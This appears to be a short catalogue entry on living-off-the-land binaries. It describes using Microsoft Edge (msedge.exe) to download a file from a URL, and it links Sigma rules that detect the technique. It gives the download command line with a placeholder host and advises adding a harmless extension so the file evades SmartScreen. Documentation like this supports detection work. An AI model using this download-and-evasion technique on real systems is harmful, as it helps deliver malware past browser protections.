Microsoft Edge browser
msedge.exe https://example.com/file.exe.txt
Edge will launch and download the file. A harmless file extension (e.g. .txt, .zip) should be appended to avoid SmartScreen.
Download file from the internet
c:\Program Files\Microsoft\Edge\Application\msedge.exe, c:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_msedge_arbitrary_download.yml, Sigma: https://github.com/SigmaHQ/sigma/blob/b02e3b698afbaae143ac4fb36236eb0b41122ed7/rules/windows/process_creation/proc_creation_win_browsers_chromium_headless_file_download.yml
mr.d0x (@mrd0x)